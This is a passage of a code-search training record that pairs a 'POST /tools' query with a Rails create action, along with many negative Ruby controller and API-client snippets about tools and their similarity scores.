= current_user.tools.new\n @user = current_user\n end", "def create\n @tool = Tool.new(tool_params)\n user = User.find(params[:user_id])\n @tool.user_id = current_user.id\n respond_to do |format|\n if @tool.save\n format.html { redirect_to user_tools_path, notice: 'Tool was successfully added.' }\n format.json { render :show, status: :created, location: @tool }\n else\n format.html { render :new }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def getdifficulty\n @api.request 'getdifficulty'\n end", "def create\n @tool = current_user.tools.build(tool_params)\n @user = current_user\n\n if @tool.save\n redirect_to(\n tools_user_path(@tool.owner),\n notice: t(\"tool.created\", name: @tool.name)\n )\n else\n render :new\n end\n end", "def new\n @tooling_specification = ToolingSpecification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tooling_specification }\n end\n end", "def set_tool\n @tool = Tool.find(params[current_user.id])\n end", "def new\n @tool_specialty_option = ToolSpecialtyOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_specialty_option }\n end\n end", "def assign_tool\n @tool = Tool.find_by!(slug: params[:id])\n end", "def tool_params\n params.require(:tool).permit(:name, :language, :json_spec)\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_part }\n format.xml { render xml: @tool_part }\n end\n end", "def index\n manage_filter_state\n # OCO\n init_oco if !session[:organization]\n\n @search = Tool.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if session[:company] != '0'\n any_of do\n with :company_id, session[:company]\n with :company_id, nil\n end\n end\n if session[:office] != '0'\n any_of do\n with :office_id, session[:office]\n with :office_id, nil\n end\n end\n order_by :serial_no, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @tools = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n format.js\n end\n end", "def show\n @experiment_software = ExperimentSoftware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @experiment_software }\n end\n end", "def getToolsUrl_details( url, max_redirects)\n params = Hash.new\n params['url'] = url\n params['max_redirects'] = max_redirects\n return doCurl(\"get\",\"/tools/url_details\",params)\n end", "def getToolsSyndicateYasabe( entity_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['destructive'] = destructive\n return doCurl(\"get\",\"/tools/syndicate/yasabe\",params)\n end", "def search\n @tool = []\n @tools = Tool.all.each do |tool|\n if tool[:tags].include?(params[:q])\n @tool.append(tool)\n end\n end\n render json: @tool\n end", "def game\n @level = Level.find(params[:id])\n\n @items = []\n @tools = []\n State.all.each do |state| \n if state.state_category.name == \"Tools\"\n @tools << state\n else\n @items << state\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level }\n end\n end", "def getToolsCrash()\n params = Hash.new\n return doCurl(\"get\",\"/tools/crash\",params)\n end", "def list_tools_for_site( site_id )\n client = prepare_request( @service_wsdl )\n\n begin\n response = client.request :get_pages_and_tools_for_site do |soap|\n soap.body = {:sessionid => @session, :siteid => site_id}\n end\n rescue ArgumentError, \"Wasabi needs a WSDL document\"\n raise StandardError, \"Incorrect login url supplied.\"\n rescue Errno::ECONNREFUSED => error\n raise \"Server doesn't seem to be there: #{error.to_s}\"\n rescue Savon::SOAP::Fault => fault\n raise fault.to_s\n rescue\n end\n\n\n tool_list = Nokogiri::XML.parse(\n response.to_hash[:get_pages_and_tools_for_site_response][:get_pages_and_tools_for_site_return])\n tool_array = Array.new\n\n tool_list.css(\"tools > tool\").each do |tool|\n tool_array << {:title => tool.css(\"tool-title\").inner_text, :id => tool.css(\"tool-id\").inner_text}\n end\n\n return tool_array\n end", "def tool\n return @tool if @tool\n\n tools.each do |k, v|\n next unless command? v\n return @tool = k\n end\n @tool\n end", "def show_guid_by_id\n tp = ToolProxy.where(id: params[:proxy_id]).first\n head :not_found and return unless tp.present?\n render json: tp.guid, status: :ok\n end", "def destroy\n @tool = Tool.find(params[:id])\n @tool.destroy\n\n respond_to do |format|\n format.html { redirect_to tools_url }\n format.json { head :no_content }\n end\n end", "def show\n @control_tower = ControlTower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @control_tower }\n end\n end", "def getdifficulty\n request :getdifficulty\n end", "def update\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @jobs = Jobsite.active\n @tool = Tool.new\n @tool.condition = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def getToolsDocs( object, format)\n params = Hash.new\n params['object'] = object\n params['format'] = format\n return doCurl(\"get\",\"/tools/docs\",params)\n end", "def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end", "def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end", "def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend", "def repo1\n addons = Addon.where(\"lower(repos.name) = ?\", params[:repo_name].downcase)\n render json: to_v1_repo_hashes(addons)\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @program }\n end\n end", "def show\n @mineral = Mineral.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mineral }\n end\n end", "def helps(id)\n helps_data(request(\"needs/helps/#{id}.xml\", :auth => true))\n end", "def show\n @admin_template_software = TemplateSoftware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template_software }\n end\n end", "def info( opts = {} )\n http_action :get, nil, opts\n end", "def new\n @commander = Commander.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commander }\n end\n end" ]
[ "0.72756517", "0.71223795", "0.71223795", "0.6834692", "0.67236257", "0.67236257", "0.67236257", "0.67236257", "0.66627616", "0.66523856", "0.6645168", "0.6619844", "0.65490687", "0.64565176", "0.64206004", "0.63911355", "0.6385339", "0.6322592", "0.6258994", "0.6178192", "0.61502683", "0.6081673", "0.60277545", "0.6026548", "0.5934432", "0.59250224", "0.58971626", "0.58901036", "0.58870775", "0.58761954", "0.5850772", "0.5847783", "0.58239245", "0.5813863", "0.5804724", "0.5794439", "0.5784135", "0.5782762", "0.57701784", "0.57701784", "0.57626146", "0.57583207", "0.57517636", "0.57395583", "0.57235676", "0.5722261", "0.5722261", "0.56805974", "0.5680033", "0.56705886", "0.56673056", "0.565396", "0.5651007", "0.56395406", "0.5639012", "0.5619438", "0.56178474", "0.56024206", "0.55958694", "0.5570888", "0.55683243", "0.5564832", "0.55634606", "0.55366766", "0.5498202", "0.5492222", "0.5489178", "0.54752", "0.5460757", "0.5460422", "0.54424524", "0.54380965", "0.5434016", "0.5431483", "0.54247385", "0.54139674", "0.54108614", "0.53892785", "0.5383401", "0.53812903", "0.53791267", "0.5374371", "0.5374317", "0.53716797", "0.5365803", "0.5365604", "0.53594726", "0.53557205", "0.534454", "0.5343587", "0.53078437", "0.53078437", "0.53070575", "0.52993053", "0.52987355", "0.52978724", "0.52971953", "0.5286964", "0.5280104", "0.52800393", "0.52767" ]
0.0
-1
POST /tools POST /tools.json
def create @tool = Tool.new(tool_params) respond_to do |format| if @tool.save format.html { redirect_to @tool, notice: 'Tool was successfully created.' } format.json { render :show, status: :created, location: @tool } else format.html { render :new } format.json { render json: @tool.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @tool = Tool.new(tool_params)\n if @tool.save\n render json: @tool, status: :created\n end\n end", "def tool_params\n params.require(:tool).permit(:name, :language, :json_spec)\n end", "def create\n @tool = Tool.new(params[:tool])\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @tool = Tool.new(params[:tool])\n @job = Jobsite.find(@tool.jobsite_id)\n @tool.user_id = @user.id\n @user.tools << @tool\n @job.tools << @tool\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tool = Tool.new(tool_params)\n user = User.find(params[:user_id])\n @tool.user_id = current_user.id\n respond_to do |format|\n if @tool.save\n format.html { redirect_to user_tools_path, notice: 'Tool was successfully added.' }\n format.json { render :show, status: :created, location: @tool }\n else\n format.html { render :new }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tool = current_user.tools.build(tool_params)\n @user = current_user\n\n if @tool.save\n redirect_to(\n tools_user_path(@tool.owner),\n notice: t(\"tool.created\", name: @tool.name)\n )\n else\n render :new\n end\n end", "def tool_params\n params.require(:tool).permit(\n :name,\n :slug,\n :type,\n :description,\n :source_url,\n :instructions,\n :up_for_adoption\n )\n end", "def create\n @breadcrumb = 'create'\n @tool = Tool.new(params[:tool])\n @tool.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: crud_notice('created', @tool) }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def tool_params\n params.require(:tool).permit(:name, :serial, :model, :location, :location_id, :category_id, :purchased, :cost, :value, :put_in_service, :loaner, :in_service, :retired, :condition, :annual_service, :note, :tab)\n end", "def tool_params\n params.require(:tool).permit(:name, :description, :image, :serial, :barcode, :date_purchased, :capability, :reservable, :max_reservation_time, :category_ids=>[])\n end", "def tool_params\n params.require(:tool).permit(:title, :link, :description, tags: [])\n end", "def create\n @tool = Tool.new(tool_params)\n @tool_fetch = GithubManager::ToolFetcher.call @tool\n\n respond_to do |format|\n if @tool_fetch.success\n @tool.json_spec = @tool_fetch.json_raw\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n end\n elsif @tool_fetch.json_invalid\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} format is invalid\"\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n else\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} failed to download\"\n format.html { render :new, status: :internal_server_error }\n format.json { render json: @tool.errors, status: :internal_server_error }\n end\n end\n end", "def create\n @tool = Tool.new(tool_params)\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool; gflash :success => 'Tool was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tool }\n else\n set_form_drop_down\n format.html { render action: 'new' }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_tool\n if @work_order_tool.present?\n render json: :conflict, status: :conflict\n else\n @work_order_tool = WorkOrderTool.new\n @work_order_tool.assign_attributes(@json['data'])\n if !@json['data']['created_by']\n @work_order_tool.created_by = current_user.id if !current_user.nil?\n end\n if @work_order_tool.save\n render json: serialized_work_order_tool(@work_order_tool), status: :created\n else\n render json: format_errors(@work_order_tool), status: :unprocessable_entity\n end\n end\n end", "def create\n @tool_type = ToolType.new(tool_type_params)\n\n respond_to do |format|\n if @tool_type.save\n format.html { redirect_to @tool_type, notice: 'Tool type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tool_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @tool_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @s_tool = STool.new(s_tool_params)\n authorize @s_tool\n\n respond_to do |format|\n if @s_tool.save\n format.html { redirect_back_or_default s_tools_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @s_tool }\n else\n format.html { render :new }\n format.json { render json: @s_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def tool_params\n params.require(:tool).permit(:tool_type, :tool_model, :condition, :point_cost, :availability)\n end", "def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def new\n @tool = Tool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def tool_params\n params.require(:tool).permit(:id, :price, :name, :brand, :model, :description, :availability, :delivery_options, :delivery_fee, :min_delivery_fee, :user_id, :photo)\n end", "def create\n @tooling = Tooling.new(tooling_params)\n\n respond_to do |format|\n if @tooling.save\n format.html { redirect_to @tooling, notice: 'Tooling was successfully created.' }\n format.json { render :show, status: :created, location: @tooling }\n else\n format.html { render :new }\n format.json { render json: @tooling.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tool = Tool.find(params[:id])\n @user = current_user\n @tool.user_id = @user.id\n @user.tools << @tool\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def tool_type_params\n params.require(:tool_type).permit(:name, :description)\n end", "def cmd_create argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.create(json, e)\n msg response\n return response\n end", "def s_tool_params\n params.require(:s_tool).permit(\n :name_id,\n :description,\n :serial_number,\n :inventory_number,\n :rfid_tag,\n :barcode_tag,\n :consist,\n :min_amount,\n :storage_place,\n :state,\n :comments,\n {s_tool_files: []}\n )\n end", "def postBusiness_tool( tool_id, country, headline, description, link_url, active)\n params = Hash.new\n params['tool_id'] = tool_id\n params['country'] = country\n params['headline'] = headline\n params['description'] = description\n params['link_url'] = link_url\n params['active'] = active\n return doCurl(\"post\",\"/business_tool\",params)\n end", "def tooling_params\n params.require(:tooling).permit(:deliver_to, :part_type, :part_level, :commodity, :tool_source, :go1_go2_lt, :go2_t1_lt, :t1_t2_lt, :t2_t3_lt, :t3_t4_lt, :t4_linetry_lt, :raw_material_lt, :go1_1_target, :go1_1_actual, :go1_1_design_target, :go1_1_correlated, :go1_2_target, :go1_2_actual, :go2_1_actual, :go2_2_target, :go2_2_actual, :go2_2_design_target, :go2_2_correlated, :go2_3_actual, :go1_1_design_number, :go1_2_design_number, :go2_1_design_number, :go2_2_design_number, :go2_3_design_change)\n end", "def tool_proxy_signed_post(tool_proxy, endpoint)\n # Options for authorzation header (See https://oauth.net/core/1.0/ Section 5.4.1)\n options = {\n consumer_secret: params[:reg_password],\n consumer_key: params[:reg_key],\n body_hash: Digest::SHA1.base64digest(tool_proxy.to_json),\n callback: 'about:blank'\n }\n\n # Assemble the authorization header\n header = SimpleOAuth::Header.new(\n :post,\n endpoint,\n {},\n options\n )\n\n # Assemble and return the request\n {\n body: tool_proxy.to_json,\n headers: {\n 'Content-Type' => 'application/vnd.ims.lti.v2.toolproxy+json',\n 'Authorization' => header.to_s\n }\n }\n end", "def set_tools(tools)\n @site_data[\"site\"][\"node\"].each do | node |\n node[\"tools\"] = tools if node[\"node_name\"] == @node_name\n end\n end", "def create\n @tool_specialty_option = ToolSpecialtyOption.new(params[:tool_specialty_option])\n\n respond_to do |format|\n if @tool_specialty_option.save\n format.html { redirect_to @tool_specialty_option, notice: 'Tool specialty option was successfully created.' }\n format.json { render json: @tool_specialty_option, status: :created, location: @tool_specialty_option }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool_specialty_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def tool(name, tools = [])\n get name => \"#{name}#editor\"\n \n if (!tools || tools.empty?)\n post name => \"#{name}##{name}\"\n else\n tools.each { |t| post \"#{name}/#{t}\" => \"#{name}##{t}\" }\n end\n end", "def create\n @tool_part = ToolPart.new(params[:tool_part])\n\n respond_to do |format|\n if @tool_part.save\n format.html { redirect_to @tool_part, notice: I18n.t('controllers.create_success', name: @tool_part.class.model_name.human) }\n format.json { render json: @tool_part, status: :created, location: @tool_part }\n format.xml { render xml: @tool_part, status: :created, location: @tool_part }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool_part.errors, status: :unprocessable_entity }\n format.xml { render xml: @tool_part.errors, status: :unprocessable_entity }\n end\n end\n end", "def tools_all\n @work_order_tools = WorkOrderTool.by_id\n render json: serialized_work_order_tools(@work_order_tools)\n end", "def new\n @tool = current_user.tools.new\n @user = current_user\n end", "def create\n @travel = Travel.find(params[:travel_id])\n @step = Step.where(id: params[:step_id])\n @toolbox = Toolbox.new(toolbox_params)\n if @toolbox.save\n puts 'toolbox successfully saved'\n redirect_to travel_step_toolbox_path(@travel, @toolbox.step_id, @toolbox)\n else\n puts 'something went wrong'\n puts @toolbox.errors.full_messages\n redirect_to root_path\n end\n end", "def create\n @compliance_tool = ComplianceTool.new(compliance_tool_params)\n\n respond_to do |format|\n if @compliance_tool.save\n format.html { redirect_to @compliance_tool, notice: 'Compliance tool was successfully created.' }\n format.json { render :show, status: :created, location: @compliance_tool }\n else\n format.html { render :new }\n format.json { render json: @compliance_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tool_reservation = ToolReservation.new(tool_reservation_params)\n\n respond_to do |format|\n if @tool_reservation.save\n format.html { redirect_to @tool_reservation, notice: 'Tool reservation was successfully created.' }\n format.json { render :show, status: :created, location: @tool_reservation }\n else\n format.html { render :new }\n format.json { render json: @tool_reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def postToolsUpload( filedata)\n params = Hash.new\n params['filedata'] = filedata\n return doCurl(\"post\",\"/tools/upload\",params)\n end", "def my_tools\n # Checks the user is an Owner\n if can? :create, Tool\n # Pass through their own tools as instance variable by searching the database for all records that match the user id.\n @tools = Tool.where(user_id: current_user.id)\n else\n # Failed Permissions check redirect\n redirect_to('/browse', alert: 'You do not have permissions to view that page.')\n end\n end", "def create(json_file)\n pipeline_json = File.read(json_file)\n @http.pipelines.post pipeline_json\n rescue StandardError => e\n puts \"Error creating pipeline: #{e}\"\n Process.exit(1)\n end", "def initialize_crup_data(default_tools = [])\n # TODO: need a way to discover all the tools that have facts for jimador\n tools = []\n default_tools.each do | tool_name |\n tools << {\n :dname => tool_name,\n :desc => \"\",\n :status => \"offline\",\n :tool_url => \"#\",\n :settings_url => \"#\",\n :name => tool_name,\n :category => \"dev\",\n :icon => \"false\",\n :visible => \"true\",\n :statistics => \"false\",\n }\n end if default_tools.kind_of?(Array)\n\n default_node = {\n :node_name => \"default\",\n :tools => tools\n }\n json_data = {\n :site => { \"node\" => [ default_node ],\n :id => lookupvar_exist('maestro_id') ? @puppetobj.lookupvar('maestro_id') : '', # we try to get the defaults from facter\n :blueprint => lookupvar_exist('maestro_blueprint') ? @puppetobj.lookupvar('maestro_blueprint') : '',\n :projects => lookupvar_exist('maestro_projects') ? @puppetobj.lookupvar('maestro_projects') : 'false',\n :users => lookupvar_exist('maestro_users') ? @puppetobj.lookupvar('maestro_users') : 'false',\n }\n }\n @site_data = JSON.parse(json_data.to_json) if @site_data == nil\n add_node\n data = JSON.parse(@site_data.to_json)\n show_json_debug(\"1\", data)\n self.save_file(data)\n end", "def new\n @breadcrumb = 'create'\n @tool = Tool.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def create\n @tooling_specification = ToolingSpecification.new(params[:tooling_specification])\n\n respond_to do |format|\n if @tooling_specification.save\n format.html { redirect_to @tooling_specification, notice: 'Tooling Spec was successfully created.' }\n format.json { render json: @tooling_specification, status: :created, location: @tooling_specification }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tooling_specification.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Initialize the new tool instance\n @tool = Tool.new(tool_params)\n\n # Set categories based on categories selected\n params[:tool][:categories].each do |category|\n # Convert to integer\n cat = category.to_i\n \n # Rails checkbox collection select passes through blank value to help handle user input\n # So we check that the current iteration isn't this blank value.\n if cat.positive?\n # Fetch the category from the database using the id of the current iteration and store it.\n @tool.categories << Category.find(cat)\n end\n end\n\n # Attach the uploaded photo\n @tool.photo.attach(tool_params[:photo])\n # Assign the tool to the current user\n @tool.user = current_user\n\n # Description is allowed to be blank, but we don't want it to be nil.\n unless @tool.description\n @tool.description = \"\"\n end\n\n # Model is allowed to be blank, but we don't want it to be nil.\n unless @tool.model\n @tool.model = \"\"\n end\n \n # Logic for valid creation check\n respond_to do |format|\n if @tool.save\n # Create tool and store\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n else\n # Errors - try again\n format.html { render :new }\n format.json { render json: @tool.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def index\n if params.has_key?(:tag)\n if !tool_search.empty?\n @tools = tool_search.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n else\n json_response([], :not_found)\n end\n else\n @tools = current_user.tools.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n end\n end", "def tool_attrs=(tool_attributes={})\n tool_attributes.each_pair do |k,v|\n tool.send(\"#{k}=\", v)\n end\n end", "def update_tool_params\n params.require(:tool).permit(:name, :description, :def_tool_id)\n end", "def new\n @jobs = Jobsite.active\n @tool = Tool.new\n @tool.condition = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def new\n @project = Project.new\n @project.tools.build\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_part }\n format.xml { render xml: @tool_part }\n end\n end", "def index\n @tools = Tool.just_tools.by_barcode.paginate(:page => params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend", "def build_conversion\n {\n \"tool\": {\n \"driver\": {\n \"name\": \"Salus\",\n \"informationUri\": DEFAULT_URI\n }\n }\n }\n end", "def index\n @tools = Tool.all\n\n end", "def create\n @commander = Commander.new(params[:commander])\n\n respond_to do |format|\n if @commander.save\n format.html { redirect_to @commander, notice: 'Commander was successfully created.' }\n format.json { render json: @commander, status: :created, location: @commander }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commander.errors, status: :unprocessable_entity }\n end\n end\n end", "def tools\n @tools ||= TOOLS\n end", "def create_pipeline(options = {})\n options[:accept] = 'application/vnd.go.cd.v1+json'\n post 'admin/pipelines', options\n end", "def tool_part_params\n params.require(:tool_part).permit()\n end", "def create\n Rails.logger.info \"# >> Survey: #{params[:output_survey]}\"\n\n # concad checkbox values\n collab_tools = params[:use_one_of_collab_tools].join(\", \")\n Rails.logger.info \">> Collab Tools #{collab_tools}\"\n params[:output_survey][:use_one_of_collab_tools] = collab_tools\n\n tools = params[:using_one_of_tools].join(\", \")\n Rails.logger.info \">> Tools #{tools}\"\n params[:output_survey][:using_one_of_tools] = tools\n\n @output_survey = OutputSurvey.new(params[:output_survey])\n respond_to do |format|\n if @output_survey.save\n format.html { redirect_to 'index', notice: 'Output output_survey was successfully created.' }\n format.json { render json: @output_survey, status: :created, location: @output_survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @output_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @tooling_specification = ToolingSpecification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tooling_specification }\n end\n end", "def api_v11_cm_service_role_commands_jmap_dump_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_service_role_commands_jmap_dump_post ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/service/roleCommands/jmapDump\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_service_role_commands_jmap_dump_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def postToolsImage( filedata, type)\n params = Hash.new\n params['filedata'] = filedata\n params['type'] = type\n return doCurl(\"post\",\"/tools/image\",params)\n end", "def pipelines_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PipelinesApi.pipelines_post ...\"\n end\n # resource path\n local_var_path = \"/pipelines\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n form_params[\"name\"] = opts[:'name'] if !opts[:'name'].nil?\n form_params[\"deal_probability\"] = opts[:'deal_probability'] if !opts[:'deal_probability'].nil?\n form_params[\"order_nr\"] = opts[:'order_nr'] if !opts[:'order_nr'].nil?\n form_params[\"active\"] = opts[:'active'] if !opts[:'active'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PipelinesApi#pipelines_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end", "def tool_obits\n params.require(:id)\n end", "def create\n @shower = Shower.new(shower_params)\n\n respond_to do |format|\n if @shower.save\n format.html { redirect_to @shower, notice: 'Shower was successfully created.' }\n format.json { render :show, status: :created, location: @shower }\n else\n format.html { render :new }\n format.json { render json: @shower.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"patrons\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding patron.\\nResponse body: #{res.body}\"\n res.body\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def index\n @user = User.find(params[:id])\n @tool = Tool.find(@user.tool_id)\n @tools = Tool.all\n end", "def build_tool(rules: [])\n {\n \"driver\": {\n \"name\" => @scan_report.scanner_name,\n \"version\" => @scan_report.version,\n \"informationUri\" => @uri,\n \"rules\" => rules,\n \"properties\" => {\n \"salusEnforced\": @required || false\n }\n }\n }\n end", "def create_stages(api_id, env, stage_variables)\r\n deployment_description = 'Deployment of service to ' + env\r\n deployment = @client.create_deployment(\r\n rest_api_id: api_id, stage_name: env, cache_cluster_enabled: false, description: deployment_description,\r\n variables: stage_variables\r\n ).data\r\n puts deployment\r\n end", "def create\n @goal = @todo.goals.create(goal_params)\n render json: @goal\n end", "def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end", "def _build_request resource, request\n admin_token = resource.bootstrap_token\n request.add_field 'X-Auth-Token', admin_token\n request.add_field 'Content-type', 'application/json'\n request.add_field 'user-agent', 'Chef keystone_register'\n request\nend", "def _build_request resource, request\n admin_token = resource.bootstrap_token\n request.add_field 'X-Auth-Token', admin_token\n request.add_field 'Content-type', 'application/json'\n request.add_field 'user-agent', 'Chef keystone_credentials'\n request\nend", "def tools_card_params\n params.require(:tools_card).permit(:employee_id, :content)\n end", "def create\n @control_tower = ControlTower.new(params[:control_tower])\n\n respond_to do |format|\n if @control_tower.save\n format.html { 